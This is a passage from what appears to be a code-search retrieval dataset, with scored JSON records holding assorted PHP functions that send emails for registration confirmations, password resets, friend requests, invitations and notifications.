True));\n\t\t$this->email->set_mailtype(\"html\");\n\t\t$this->email->send();\n\t}", "title": "" }, { "docid": "7a0fc311b24c7c40183a8cdf05e3ab73", "score": "0.615699", "text": "function send_confirmation() {\n\t\t\t$msg = $this->f_name . ', '. PHP_EOL;\n\t\t\t$msg .= 'You are receiving this message because you have signed up at JBNJ.net'. PHP_EOL;\n\t\t\t$msg .= '----------------------------------------------------------------------------------'. PHP_EOL;\n\t\t\t$msg .= 'Please use the following link in order to complete the registration process:'. PHP_EOL;\n\t\t\t$msg .= URL . '/register.html?complete=' . $this->unique_id . '&date=' . date('Y-m-d') . PHP_EOL. PHP_EOL;\n\t\t\t$msg .= 'If you believe you have received this email in error, please disregard or email [email protected] for more information';\n\t\t\t\n\t\t\treturn $this->send_mail($this->email,\"JBNJ, Management\",\"[email protected]\", \"JBNJ.net Registration - One More Step\",$msg);\n\t\t}", "title": "" }, { "docid": "aebece1fdf8ad417a7be81aa632db48a", "score": "0.6150033", "text": "public function sendForgotEmailLink()\n {\n if ($this->validate()) {\n $userData = User::findOne(['email' => $this->userEmail]);\n\n if ($userData === null) return false;\n\n \\Yii::$app->mailer->compose()\n ->setTo($this->userEmail)\n ->setFrom([$this->userEmail => $userData->getFullName()])\n ->setSubject(\\Yii::t('app', 'Permintaan Ubah Password: ') . $this->userEmail)\n ->setTextBody('') // TODO: Body Email\n ->send();\n\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "da1b45103f2a3ab681f3814eb23312f3", "score": "0.6132486", "text": "public function sendFriendRequest($id){\n\t\t$friendship = new Friendship;\n\t\t$friendship->first_user = Auth::id();\n\t\t$friendship->second_user = $id;\n\t\t$friendship->acted_user = Auth::id();\n\t\t$friendship->status = 'pending';\n\t\t$friendship->save();\n\t\ttry{\n\t\t\t//Notify the user with id => $id about the Friend Request\n\t\t\t//Auth::user() will be the user sending the friend request and user with $id will the user receiving request\n\t\t\t$user = User::find($id);\n\t\t\t$user->notify(new FriendRequestSent(Auth::id(), Auth::user()->name));\n\t\t}catch(Exception $e){\n\t\t\treturn back()->withError(\"Something went Wrong while Finishing Request\")->withInput();\n\t\t}\n\t\t\n\t\treturn redirect('/showProfile/' . $id);\n\t}", "title": "" }, { "docid": "c0f1f9ceb7bffd4f045df55179169330", "score": "0.6106808", "text": "private function send_email_to_friend( $name, $email, $message, $coupon ){\n\t\t$to = $email;\n\t\t$subject = __('¡Te han regalado un curso en YogaCloud!');\n\t\t$body = '<h1>¡Hola ' . $name . '!</h1>';\n\t\t$body .= '<p>Tu amigo te ha regalado un curso en YogaCloud. Ingresa <a href=\"' . site_url() . '\">Aquí</a> y usa el cupón ' . $coupon . ' en tu carrito de compras.</p>' ;\n\t\t$headers = array('Content-Type: text/html; charset=UTF-8');\n\t\t \n\t\twp_mail( $to, $subject, $body, $headers );\n\t}", "title": "" }, { "docid": "b929f27b0bf0980298e59a88bcf88956", "score": "0.6101114", "text": "public function tellafriendAction() {\n\n //CHECK USER VALIDATION\n if (!$this->_helper->requireUser()->isValid())\n $this->respondWithError('unauthorized');\n\n //GET VIEWER\n $viewer = Engine_Api::_()->user()->getViewer();\n $viewer_id = $viewer->getIdentity();\n\n //GET FORM\n if ($this->getRequest()->isGet()) {\n $response = Engine_Api::_()->getApi('Siteapi_Core', 'Siteevent')->getTellAFriendForm();\n $this->respondWithSuccess($response, true);\n } else if ($this->getRequest()->isPost()) {\n //FORM VALIDATION\n //GET EVENT ID AND OBJECT\n $event_id = $this->_getParam('event_id', $this->_getParam('event_id', null));\n $siteevent = Engine_Api::_()->getItem('siteevent_event', $event_id);\n if (empty($siteevent))\n $this->respondWithError('no_record');\n //GET FORM VALUES\n $values = $this->_getAllParams();\n $errorMessage = array();\n\n if (empty($values['sender_email']) && !isset($values['sender_email']))\n $errorMessage[] = $this->translate(\"Your Email field is required\");\n\n if (empty($values['sender_name']) && !isset($values['sender_name']))\n $errorMessage[] = $this->translate(\"Your Name field is required\");\n\n if (empty($values['message']) && !isset($values['message']))\n $errorMessage[] = $this->translate(\"Message field is required\");\n\n if (empty($values['receiver_emails']) && !isset($values['receiver_emails']))\n $errorMessage[] = $this->translate(\"To field is required\");\n\n if (isset($errorMessage) && count($errorMessage) > 0)\n $this->respondWithValidationError('validation_fail', $errorMessage);\n\n //EXPLODE EMAIL IDS\n $reciver_ids = explode(',', $values['receiver_emails']);\n if (!empty($values['send_me'])) {\n $reciver_ids[] = $values['sender_email'];\n }\n $sender_email = $values['sender_email'];\n $heading = $siteevent->title;\n\n //CHECK VALID EMAIL ID FORMAT\n $validator = new Zend_Validate_EmailAddress();\n $validator->getHostnameValidator()->setValidateTld(false);\n $errorMessage = array();\n\n if (!$validator->isValid($sender_email)) {\n $errorMessage[] = $this->translate('Invalid sender email address value');\n $this->respondWithValidationError('validation_fail', $errorMessage);\n }\n $errorMessage = array();\n foreach ($reciver_ids as $receiver_id) {\n $receiver_id = trim($receiver_id, ' ');\n ($reciver_ids);\n if (!$validator->isValid($receiver_id)) {\n $errorMessage[] = $this->translate('Please enter correct email address of the receiver(s).');\n $this->respondWithValidationError('validation_fail', $errorMessage);\n }\n }\n $slug_singular = Engine_Api::_()->getApi('settings', 'core')->getSetting('siteevent.slugsingular', 'event-item');\n $objectLink = \"/\" . $slug_singular . '/view/' . $event_id . '/' . $siteevent->getSlug();\n $sender = $values['sender_name'];\n $message = $values['message'];\n try {\n Engine_Api::_()->getApi('mail', 'core')->sendSystem($reciver_ids, 'SITEEVENT_TELLAFRIEND_EMAIL', array(\n 'host' => $_SERVER['HTTP_HOST'],\n 'sender' => $sender,\n 'heading' => $heading,\n 'message' => '<div>' . $message . '</div>',\n 'object_link' => $objectLink,\n 'email' => $sender_email,\n 'queue' => true\n ));\n } catch (Exception $ex) {\n $this->respondWithError('internal_server_error', $ex->getMessage());\n }\n $this->successResponseNoContent('no_content', true);\n }\n }", "title": "" }, { "docid": "d47d74ecf6c0391fc3346b761c8a0a4a", "score": "0.60995525", "text": "function sendMailToBlockedUsers()\n\t{\n\t\tglobal $ilCtrl;\n\n\t\tif (!is_array($_POST[\"userquest_id\"]))\n\t\t{\n\t\t\tilUtil::sendFailure($this->lng->txt(\"no_checkbox\"), 1);\n\t\t\t$ilCtrl->redirect($this, \"listBlockedUsers\");\n\t\t}\n\n\t\t$rcps = array();\n\t\tforeach($_POST[\"userquest_id\"] as $uqid)\n\t\t{\n\t\t\t$uqid = explode(\":\", $uqid);\n\t\t\t$login = ilObjUser::_lookupLogin($uqid[1]);\n\t\t\tif (!in_array($login, $rcps))\n\t\t\t{\n\t\t\t\t$rcps[] = $login;\n\t\t\t}\n\t\t}\n\t\trequire_once 'Services/Mail/classes/class.ilMailFormCall.php';\n\t\tilUtil::redirect(ilMailFormCall::getRedirectTarget($this, 'listBlockedUsers',\n\t\t\tarray(),\n\t\t\tarray(\n\t\t\t\t'type' => 'new',\n\t\t\t\t'rcp_to' => implode(',',$rcps),\n\t\t\t\t'sig'\t=> $this->getBlockedUsersMailSignature()\n\t\t\t)));\n\t}", "title": "" }, { "docid": "37c34f233e1657d567ee1fca89ef3edf", "score": "0.6097969", "text": "protected function sendConfirmationToUser($member)\n {\n // Notify the user\n $member->notify(new ConfirmEmail());\n }", "title": "" }, { "docid": "2f4be67657720371a37e961bef7d3f78", "score": "0.60827416", "text": "public function sendRequestConfirmation($to = array(), $user = array())\n\t{\n\t\t$this->email_updates = $to['email_updates'];\n\t\t$message = $this->getSetting('message_confirm');\t\n\t\t$message = str_replace('{to}', $to['realname'], $message);\n\t\t$message = str_replace('{username}', $user['realname'], $message);\n\t\t$message = str_replace('{link}', $this->ci->config->item('base_url') . $user['username'], $message);\t\t\n\t\t$message .= $this->getSetting('signature');\t\t\n\t\t$message .= $this->getSetting('email_settings_link');\t\t\n\t\t$message .= \"\\n\\nThis email was intended for \" . $to['email'];\t\n\t\t$subject = $this->getSetting('subject_confirm');\n\t\t$subject = str_replace('{username}', $user['realname'], $subject);\t\t\n\t\t$this->send($to['email'], $subject, $message);\t\t\t\t\n\t}", "title": "" }, { "docid": "fc0e8c886b5375e65136356a7e125a0f", "score": "0.6082625", "text": "public function send_invite()\n\t{\n\t\t$this->db->where('user_mail=',$this->input->get('invite_mail'));\n\t\t$query=$this->db->get('neko_user_data');\n\t\t$row= $query->num_rows();\n\t\tif($row==0)\n\t\t{\n\t\t\t$tomail=$this->input->post('invite_mail');\n\t\t\t$subject=\"Invitation\";\n\t\t\t$mail_message=\"You Got an invitation from : \". $_SESSION['user_fname'].\" \".$_SESSION['user_lname'].\" to join triyontech.com/neko \" ;\n\t\t\t$this->send_mail($tomail,$subject,$mail_message);\n\t\t\t$this->session->set_flashdata('success','Invitation Send' );\n\t\t} else {\n\t\t\t$this->session->set_flashdata('success','Already A Member' );\t\n\t\t}\n\t\tredirect('index.php/home/panel');\n\t}", "title": "" }, { "docid": "4750971a2e3d07e848e0753db4cd8d35", "score": "0.6081033", "text": "public function sendRegistrationEmail();", "title": "" }, { "docid": "83267eec0f145f505c82de20c492ea5b", "score": "0.6070446", "text": "function send_email_asfter_signup($to, $subject, $message, $user_id, $bandfemail){\n $email_status = false;\n //define the message to be sent.\n $message = 'Go to this link and activate'.'some link...'.$user_id; \n //define the headers we want passed\n $headers = 'From: '.$bandfemail;\n\n //send the email\n if(mail( $to, $subject, $message, $headers )){\n $email_status = true;\n }\n return $email_status;\n}", "title": "" }, { "docid": "40e43e86d22dc382195e3c88a9268968", "score": "0.6065046", "text": "public function index()\n {\n $sendTo = Auth::user()->email;\n $book = Book::find(1);\n Mail::to($sendTo)->send(new BookConfirmation($book));\n dd(\"Enviado\");\n }", "title": "" }, { "docid": "a02d4bfbb4339fdedbb3c3a88e4163b5", "score": "0.6046678", "text": "function sendFriendRequest(){\n\tif(isset($_POST['formData'])){\n\t\t//run the api request\n\t\t//setup the request data\n\t\t$rData = array(\n\t\t\t'propertyId'=>$this->currentRef,\n\t\t\t'createdDate'=>$requestDate,\n\t\t\t'sendFriend'=>true,\n\t\t\t'message'=>$_POST['message'],\n\t\t\t'friendData'=>array(\n\t\t\t\t'name'=>$_POST['friendsName'],\n\t\t\t\t'email'=>$_POST['friendsName'],\n\t\t\t),\n\t\t\t'contactData'=>array(\n\t\t\t\t'firstName'=>$_POST['firstName'],\n\t\t\t\t'lastName'=>$_POST['lastName'],\n\t\t\t\t'tel1'=>$_POST['tel'],\n\t\t\t\t'email'=>$_POST['email'],\n\t\t\t)\n\t\t);\n\t\t\n\t\t//run the api request\n\t\t$this->api->newRequest($rData);\n\t\t\n\t\t$modalOutput = $this->processTpl('','thanks.html',array());\n\t\t//send a success message to the user\n\t\t$this->jsonEcho($modalOutput);\n\t}\n}", "title": "" }, { "docid": "f574977326d525aec942a9f64bf78971", "score": "0.6044889", "text": "public function sendConfirmEmail($id)\n {\n $user = User::find($id);\n Mail::to($user->email)->send(new SendConfirm($user));\n }", "title": "" }, { "docid": "a1ed1b6ddd45262b7612a1ac0f1a19ce", "score": "0.60443693", "text": "function sendForgotPasswordEmail();", "title": "" }, { "docid": "8f6309efeaf45113531ba1f68dfa2a6d", "score": "0.60377616", "text": "function send_Email_Registered_Study_Invitation($email, $nome_studio){\n\n $conn = new mysqli(\"localhost\", \"root\", \"\", \"utassistantdb\");\n\n if(!$conn->connect_errno){\n\n $query_sql = \"SELECT users.username\n FROM utassistantdb.users\n WHERE users.email = '\".$email.\"' \";\n $nome_partecipante = $conn->query($query_sql);\n $nome = $nome_partecipante->fetch_row();\n\n }\n\n $conn->close();\n\n $subject = \"Invito di partecipazione allo studio \".$nome_studio;\n $msg = \"Gentile \".$nome[0].\", e' invitato a partecipare allo studio \".$nome_studio.\". Cordiali saluti, UTAssistant Staff\";\n\n $posta = new userPieMail();\n $posta->sendMail($email,$subject,$msg);\n}", "title": "" }, { "docid": "5830171cfa4c60d9ca706c448de2ffc3", "score": "0.60202837", "text": "public function sendEmail()\n {\n if($this->isAdmin() == TRUE)\n {\n $this->loadThis();\n }\n else \n {\n $data1['email'] = $_POST['mem_email'];\n $data1[\"name\"] = $_POST['mem_name'];\n $data1[\"message\"] = $_POST['temp_content'];\n $data1[\"title\"] = $_POST['temp_name'];\n $data1[\"subject\"] = $_POST['temp_name']; \n $data[\"data\"] = $data1;\n $sendStatus = sendEmail($data1);\n if($sendStatus){\n $status = \"success\";\n setFlashData($status, \"Email has been sent to <b>\".$_POST['mem_name'].\"</b> successfully.\");\n } else {\n $status = \"error\";\n setFlashData($status, \"Email has been failed, try again.\");\n }\n redirect('/memberListing');\n }\n\n }", "title": "" }, { "docid": "e63653c2982da1ca9c4b5ec4f1976d97", "score": "0.60174656", "text": "protected function send_activation_email() {}", "title": "" }, { "docid": "544fa73b7c56df7bdab1353c1f48389e", "score": "0.6007168", "text": "function __sendConfirmationEmail($user_id) {\n $user = $this->WildUser->find(array('WildUser.id' => $user_id), array('WildUser.email', 'WildUser.login'), null, false);\n if ($user === false) {\n debug(__METHOD__.\" failed to retrieve User data for user.id: {$user_id}\");\n return false;\n }\n $link = 'http://' . env('HTTP_HOST') . str_replace('register','activate',env('REQUEST_URI')). DS . $user_id . DS . $this->WildUser->getActivationHash();\n //echo 'activate link: <a href=\"'.$link.\">$link</a>\";\n \n // Set data for the \"view\" of the Email\n $this->set('activate_url', $link);\n $this->set('login', $this->data['WildUser']['login']);\n \n $this->Email->to = $user['WildUser']['email'];\n $this->Email->subject = Configure::read('Wildflower.settings.site_name') . ' - Please confirm your email address';\n $this->Email->from = Configure::read('Wildflower.settings.contact_email');\n $this->Email->template = 'user_confirm';\n $this->Email->sendAs = 'text'; // you probably want to use both :) \n return $this->Email->send();\n }", "title": "" }, { "docid": "2d94d1e8af3a3722a67342457901e72e", "score": "0.6003934", "text": "public function sendFeedbackEmail($model)\n\t{\n\t\t$userID = Yii::app()->user->id;\n\t\t\n\t\t$message = new YiiMailMessage;\n\t\t\n\t\t$message->subject = \"Feedback [name: $model->name] [subject: $model->subject]\";\n\t\t$message->addTo(Yii::app()->params['adminEmail']);\n\t\t$message->from = array(Yii::app()->params['openEmail']=>\"ZLOOP\");\n\t\t\n\t\t$emailBody = \"Subject: $model->subject \\n\";\n\t\t$emailBody .= \"From: [ID:$userID] [name: $model->name] $model->email \\nBody: \\n\\n$model->body\";\n\t\t\n\t\t$message->setBody($emailBody);\n\t\tYii::app()->mail->send($message);\n\t\t\n\t\tYii::log(\"Feedback from: \".$model->email);\n\t}", "title": "" }, { "docid": "b71cafef99f52dd45b506a0adacdbc76", "score": "0.5997209", "text": "function friend_mail_send_extended($message){\n\n $my_mail_token = microtime();\n $site_name = variable_get('site_name', FRIEND_DEFAULT_SITE_NAME);\n\n if (!isset($message['from'])) {\n $message['from'] = variable_get('site_mail');\n }\n\n $message['id'] = FRIEND_CONTENT_TYPE_NAME . '_' . $my_mail_token;\n $message['headers']['From'] = \"{$site_name} <{$message['from']}>\";\n $message['headers']['Sender'] = \"{$site_name} <{$message['from']}>\";\n $message['headers']['Return-Path'] = $message['from'];\n $message['headers']['Content-Type'] = 'text/plain';\n $system = drupal_mail_system(FRIEND_CONTENT_TYPE_NAME, $my_mail_token);\n\n $formatted_message = $system->format($message);\n $result = $system->mail($formatted_message);\n\n if ($result) {\n watchdog('friend', 'Email sent to !to<br/>Subject: !subject',\n array('!to' => $message['to'], '!subject' => $message['subject']));\n } else {\n watchdog('friend', 'Error sending email to: !to<br/>Subject: !subject',\n array('!to' => $message['to'], '!subject' => $message['subject']), WATCHDOG_ERROR);\n }\n\n return $result;\n}", "title": "" }, { "docid": "d6667d1e391b60b978d300ed15d88e53", "score": "0.5983139", "text": "function ignacio_send_email() {\n}", "title": "" }, { "docid": "cc1b2d79cbf0a5771c59d45950d8c60c", "score": "0.5980086", "text": "function email_signup($user)\n{\n\n Mail::send('emails.signup', ['user' => $user], function ($m) use ($user) {\n $m->from('[email protected]', 'Sniddl');\n\n $m->to($user->email, $user->name)->subject('Sniddl Confirmation');\n });\n}", "title": "" }, { "docid": "0593a733ecf428e5fe1e78af216e1c1b", "score": "0.5979382", "text": "public function sendEmail()\n {\n }", "title": "" }, { "docid": "e518a2c409bd793f938b77bf4218e88a", "score": "0.5978831", "text": "public function sendEmail()\n {\n $user = self::findByEmail($this->email);\n\n if (!$user) {\n return false;\n }\n\n if (!self::isPasswordResetTokenValid($user->password_reset_token)) {\n $user->password_reset_token = Yii::$app->security->generateRandomString() . '_' . time();\n if (!$user->save()) {\n return false;\n }\n }\n\n return Yii::$app\n ->mailer\n ->compose(\n ['html' => '@easyii/mail/passwd_reset'],\n ['user' => $user]\n )\n ->setFrom('[email protected]')\n ->setTo($this->email)\n ->setSubject(yii::t('easyii', 'Password reset') . ' ' . yii::t('easyii', 'on site') . ' ' . $_SERVER['SERVER_NAME'])\n ->send();\n }", "title": "" }, { "docid": "8ad37dce3304e03b144fcc67a8175a2e", "score": "0.59762913", "text": "public function sendEmailConfirm($model)\n\t{\n\t\t$message = new YiiMailMessage;\n\t\t\n\t\t$message->subject = 'Activate your ZLOOP account, '.$model->username.'!';\n\t\t$message->addTo($model->email);\n\t\t$message->from = array(Yii::app()->params['openEmail']=>\"ZLOOP\");\n\t\t\n\t\t$message->view = 'confirmEmail';\n\t\t$message->setBody(array('model'=>$model), 'text/html');\n\t\t\n\t\tYii::app()->mail->send($message);\n\t\t\n\t\tYii::log(\"EMAIL-TO: \".$model->email . ' for confirm user email');\n\t}", "title": "" }, { "docid": "7075efc3933979678cd93bd0e20e25c8", "score": "0.59754074", "text": "function send_email_verification($id, $email, $fname, $lname){\n\t\t$token = $this->cm->generateToken(8); //TOKEN FOR CONFIRMATION.\n\t\t$value_array = array( \n\t\t\t\t\t\t\t'UserId' =>$id,\n\t\t\t\t\t\t\t'Token' => $token,\n\t\t\t\t\t\t);\n\t\t$this->cm->replace('user_confirmation',$value_array);\n\t\t\n\t\t$get_email = $this->cm->get_all_records('mailsettings','*',array('Id'=>4),'Id',1)->row(); \t// GET USER TEMPLATE DATA.\n\t\t$to_email = $email;\n\t\t$from_email=$this->cm->filterOutput($get_email->Email);\n\t\t$from_text=$this->cm->filterOutput($get_email->FromText);\n\t\t$subject=$this->cm->filterOutput($get_email->Subject);\n\t\t$link = site_url('register/confirm/'.$token);\t\t\t\t\t\t\n\t\t$message = str_replace('[SITE_NAME]',$this->site_setting->site_name,$get_email->Content);\n\t\t$message = str_replace('[SITE_LOGO]',site_url('themes/image/logo.png'),$message);\t\t\t\n\t\t// $message = str_replace('[FIRST_NAME]',$fname,$message);\n\t\t// $message = str_replace('[LAST_NAME]',$lname,$message);\n\t\t$message = str_replace('[LINK]',$link,$message);\n\t\t$message = str_replace('[CONTACT_EMAIL]',$this->site_setting->site_email,$message);\n\t\t\n\t\t$result=$this->cm->send_mail($to_email,$from_email,$subject,$from_text,$message,'');\n\t}", "title": "" }, { "docid": "95f59dc47aa3456bdc32b64ef2192d77", "score": "0.59728885", "text": "public function sendEmail()\n {\n /* @var $user User */\n $user = User::findOne([\n 'status' => User::STATUS_ACTIVE,\n 'email' => $this->email,\n ]);\n\n if ($user) {\n $user->generateAccessToken();\n } else {\n return false;\n }\n\n if (!$user->save()) {\n return false;\n }\n\n return Yii::$app->mailer->compose('passwordReset', ['user' => $user])\n ->setFrom([Yii::$app->params['robotEmail'] => Yii::$app->name . ' robot'])\n ->setTo($this->email)\n ->setSubject(Yii::t('frontend', 'Password reset for {name}', ['name' => Yii::$app->name]))\n ->send();\n }", "title": "" }, { "docid": "9ed129ad32c8a866d522335f38608c57", "score": "0.5971346", "text": "public function postSendconfirmation(){\n\t\t$confirmation_token = str_random(60);\n\t\t$confirmation_link = url('users/emailactivate',$confirmation_token);\n\n\t\t$email = Input::get('email');\n\t\t//store token in database\n\t\t$user = DB::table('users')->where('email',$email)->update(array('confirmation_token'=>$confirmation_token));\n\n\t\t//closure use 'use' to pass parameters\n\t\tMail::send('emails.auth.confirmation', array('link'=>$confirmation_link),function($message) use ($email){\n\t\t\t$message->to($email)->subject('Activate Account');\n\t\t});\n\n\t\treturn Redirect::to('users/signin')->with('message','Confirmation email has been sent!')->with('messageType','success');\n\t}", "title": "" }, { "docid": "a84efeeb8f6880b6dcc4802dae3050e9", "score": "0.5968652", "text": "function sendReferalToFriends($arrPost, $arrCustomer)\n {\n // pre($arrCustomer);\n $objTemplate = new EmailTemplate();\n $objCore = new Core();\n //pre($_SESSION);\n $varUserName = trim(strip_tags($arrPost['frmFriendEmail']));\n\n $arrFriendsEmails = explode(',', $varUserName);\n\n $varFromUser = $arrPost['CustomerEmail'];\n\n\n $varSiteName = SITE_NAME;\n $proUrl = $objCore->getUrl('registration_customer.php', array('type' => 'add', 'ref' => $arrCustomer['ReferalID']));\n\n $varWhereTemplate = \" EmailTemplateTitle= 'SendReferalLink' AND EmailTemplateStatus = 'Active' \";\n\n $arrMailTemplate = $objTemplate->getTemplateInfo($varWhereTemplate);\n $varOutput = html_entity_decode(stripcslashes($arrMailTemplate[0]['EmailTemplateDescription']));\n\n $varPathImage = '<img src=\"' . SITE_ROOT_URL . 'common/images/logo.png\" style=\"margin-left:10px;\">';\n\n $varSubject = str_replace('{SITE_NAME}', SITE_NAME, html_entity_decode(stripcslashes($arrMailTemplate[0]['EmailTemplateSubject'])));\n\n\n // Calling mail function\n\n\n foreach ($arrFriendsEmails as $email)\n {\n $email = trim($email);\n\n $proUrlEm = $proUrl . '&email=' . $email;\n\n $varKeyword = array('{IMAGE_PATH}', '{EMAIL}', '{SITE_NAME}', '{CUSTOMER}', '{LINK}', '{SITE_ROOT_URL}');\n $varKeywordValues = array($varPathImage, '', SITE_NAME, ucfirst($arrCustomer['CustomerFirstName']), $proUrlEm, SITE_ROOT_URL);\n $varOutPutValues = str_replace($varKeyword, $varKeywordValues, $varOutput);\n $objCore->sendMail($email, $varFromUser, $varSubject, $varOutPutValues);\n }\n }", "title": "" }, { "docid": "a066d0d4bb535726ded714e5da9310f0", "score": "0.5968363", "text": "public function sendEmail() {\n\t\t\n\t\t$email = array(\n\t\t\t'name'\t\t=>\t$_POST['name'],\n\t\t\t'email'\t\t=>\t$_POST['email'],\n\t\t\t'tel_no'\t=>\t$_POST['tel_no'],\n\t\t\t'message'\t=>\t$_POST['message'],\n\t\t\t'date'\t\t=>\tTIMESTAMP\n\t\t);\n\t\t\n\t\tif(isset($email['email'])) {\n\t\t\t$this->email($email);\n\t\t}\n\t\t\n\t\theader('location: '.URL.'index');\n\t}", "title": "" }, { "docid": "02fd491185d1b8db97ca181ad46b938b", "score": "0.5968021", "text": "public function send_enquiry_email() {\n\t\tif ($this->request->is('post')) {\n\t\t\t$user = $this->User->findXORCreate($this->data['User'], array('email'));\n\t\t\tApp::uses('EnquiryEmail', 'Lib/Email');\n\n\t\t\t$from = array('email' => $user['User']['email'], 'full_name' => $user['User']['full_name']);\n\t\t\t$email = new EnquiryEmail($from);\n\n\t\t\t$success = $email->send($this->data['User']['message']);\n\n\t\t\tif ($success) {\n\t\t\t\t$this->Session->setFlash('',\n\t\t\t\t\t'status_email',\n\t\t\t\t\tarray(\n\t\t\t\t\t'title' => 'Successfully sent!',\n\t\t\t\t\t'content' => 'Check your inbox. We have sent you a copy of the email.'\n\t\t\t\t\t)\n\t\t\t\t);\n\t\t\t\t$this->redirect('/call');\n\t\t\t} else {\n\t\t\t\t$this->Session->setFlash('',\n\t\t\t\t\t'status_email',\n\t\t\t\t\tarray(\n\t\t\t\t\t'title' => 'Email not sent!',\n\t\t\t\t\t'content' => 'Please try again!'\n\t\t\t\t\t)\n\t\t\t\t);\n\t\t\t\t$this->redirect('/call');\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "751fe22fb847020b6e87f956610a6473", "score": "0.59624124", "text": "function sendEmail($to_email)\n\t{\n\t\t\n\t}", "title": "" }, { "docid": "67a4518002d6948d292fea5790776d78", "score": "0.5943626", "text": "public function sendConfirmationEmailMessage(UserInterface $user)\n {\n }", "title": "" }, { "docid": "34684ff6dab304af021bfbaf8d2e8546", "score": "0.5940309", "text": "public function sendFollowingConfirmation($to = array(), $following = array())\n\t{\n\t\t$this->email_updates = $to['email_updates'];\n\t\t$message = $this->getSetting('message_following');\t\n\t\t$message = str_replace('{to}', $to['realname'], $message);\n\t\t$message = str_replace('{username}', $to['username'], $message);\n\t\t$message = str_replace('{followerrealname}', $following['realname'], $message);\n\t\t$message = str_replace('{followerusername}', $following['username'], $message);\n\t\t$message = str_replace('{link}', $this->ci->config->item('base_url') . $following['username'], $message);\t\t\n\t\t$message .= $this->getSetting('signature');\t\t\n\t\t$message .= $this->getSetting('email_settings_link');\t\t\n\t\t$message .= \"\\n\\nThis email was intended for \" . $to['email'];\n\t\t$subject = $this->getSetting('subject_following');\n\t\t$subject = str_replace('{username}', $following['realname'], $subject);\t\t\n\t\t$this->send($to['email'], $subject, $message);\t\t\t\t\n\t}", "title": "" }, { "docid": "d33920f5cac0222263f29dec34629841", "score": "0.5938511", "text": "public function send_confirmed_email($user){\n $message = (new Swift_Message('CarMarket | Confirm Registration'))\n ->setFrom([\n '[email protected]' => 'CarMarket No Reply Mail'])\n ->setTo([$user['email']])\n ->setBody('Your account has been successfully activated!');\n $this->mailer->send($message);\n }", "title": "" }, { "docid": "f817cbd11b4ecfa821e00281c9108c37", "score": "0.5937052", "text": "function sendWelcome($user, $email) {\n //Set default values\n $mail = new PHPMailer;\n $mail->CharSet = 'UTF-8';\n $mail->isSMTP(); // Set mailer to use SMTP\n $mail->Host = 'smtp.gmail.com;smtp.gmail.com'; // Specify main and backup SMTP servers\n $mail->SMTPAuth = true; // Enable SMTP authentication\n $mail->Username = EMAIL_FROM_ADRESS; // SMTP username\n $mail->Password = EMAIL_FROM_PASS; // SMTP password\n $mail->SMTPSecure = 'tls'; // Enable TLS encryption, `ssl` also accepted\n $mail->Port = 587; // TCP port to connect to\n $mail->WordWrap = 70; //maximum line length in email\n \n $mail->setFrom(EMAIL_FROM_ADRESS, 'Skautatinklis');\n $mail->addAddress($email); // Add a recipient\n $mail->isHTML(true); // Set email format to HTML\n $mail->Subject = 'Sėkmingai užsiregistravote į skautatinklį!';\n $mail->Body = 'Sveiki, <b>' . $user . '</b>!<br>Sėkmingai užsiregistravote tinklalapyje <a href=\"aidbal.stud.if.ktu.lt\">aidbal.stud.if.ktu.lt - skautatinklis</a>. ' . \n 'Savo duomenis galite redaguoti prisijungę ir paspaudę ant savo vardo.<br><br>' . \n 'Nepamirškite užsiregistruoti į stovyklas!<br><br>' . \n 'Pagarbiai<br>'\n . 'Skautatinklio administracija.';\n return $mail->send();\n }", "title": "" }, { "docid": "a99dc12e2a30817c57fb6ab56b6593ba", "score": "0.5936192", "text": "protected function _sendMail()\n {\n\n }", "title": "" }, { "docid": "37f6f4a016fcb6323b92422c4531f252", "score": "0.5936099", "text": "public function sendMail()\n {\n }", "title": "" }, { "docid": "cf6ceb8db29e0ce40c780a2709e4565f", "score": "0.5927233", "text": "public function sendEmail() {\n\n }", "title": "" }, { "docid": "499d7c5e26356973a83bcd8f9ba529ad", "score": "0.59212416", "text": "function sweetspot_mail($to_address, $subject, $body) {\n\t$headers = '';\n\t$headers .= \"Reply-To: [email protected]\\r\\n\";\n\t$headers .= \"From: SweetSpot <[email protected]>\\r\\n\";\n\twp_mail($to_address, $subject, $body, $headers);\n}", "title": "" }, { "docid": "de4bde7e1f4da79e867f14361f00c3e0", "score": "0.59199154", "text": "public function emailUser($email_to, $fromApplicant){\r\n\t\t//if this email is from an applicant\r\n\t\tif($fromApplicant){\r\n\t\t\t$email_subject = 'Someone has applied for your job on Synthesizer:'.$job['title'];\r\n\t\t\t$email_message = $_SESSION['username'].' has applied for your job on Synthesizer, click to see their <a href=\"index.php?page=profile&amp;userID='.$_SESSION['userID'].'\">profile</a>';\r\n\t\t//if this email is to the successful applicant\r\n\t\t} else {\r\n\t\t\t$email_subject = 'You have been selected to complete '.$_SESSION['username'].'\\'s job on Synthesizer';\r\n\t\t\t$email_message = $_SESSION['username'].' has selected you to complete their job on Synthesizer, you can now contact them directly at '.$_SESSION['email'].'';\r\n\t\t}\r\n\t\t// create email headers\r\n\t\t$headers = 'From: [email protected]';\r\n\t\t$headers .= 'Reply-To: '.$_SESSION['email'].'';\r\n\t\tmail($email_to, $email_subject, $email_message, $headers); \r\n\t}", "title": "" }, { "docid": "3be3b9b37610d7eeffebc1c1e9cfbda5", "score": "0.591941", "text": "static function send_admin_notify($user) {\n $message = new View(\"register_admin_notify.html\");\n $message->admin_register_url = url::abs_site(\"admin/register\");\n $message->user = $user;\n $message->subject_prefix = module::get_var(\"registration\", \"subject_prefix\");\n $message->locale = module::get_var(\"gallery\", \"default_locale\"); // as Gallery default\n $message->subject = t(\"New pending user registration\", array(\"locale\" => $message->locale));\n self::_sendemail(module::get_var(\"gallery\", \"email_reply_to\"), $message->subject_prefix.$message->subject, $message);\n }", "title": "" }, { "docid": "d779a5e7520b1af0b34b6ae637d19c80", "score": "0.59169817", "text": "function inviteSmsUsers($friends,$friendlist,$password) {\n global $api_login, $api_password;\n \n\t\t$Emerginov = new Emerginov($api_login, $api_password);\n\t\t$lang;\n\t\t// As we retrived SMS we need to load the lang variable\n\t\tif ($this->language == _LANG_FRENCH){\n\t\t\t$lang=loadLanguage('lang/french.php');\n\t\t} else {\n\t\t\t$lang=loadLanguage('lang/english.php');\n\t\t}\n \n if ($friendlist != \"\" && $password != \"\"){\n // Check if friendlist exists\n $friendlistObject = new Friendlist($friendlist);\n\t\t\tif ($friendlistObject->name && $friendlistObject->password == $password) {\n\t\t\t\t// send SMS\n\t\t\t\tforeach ($friends as $i){\n\t\t\t\t\t//$text_dest=\"==> send SMS 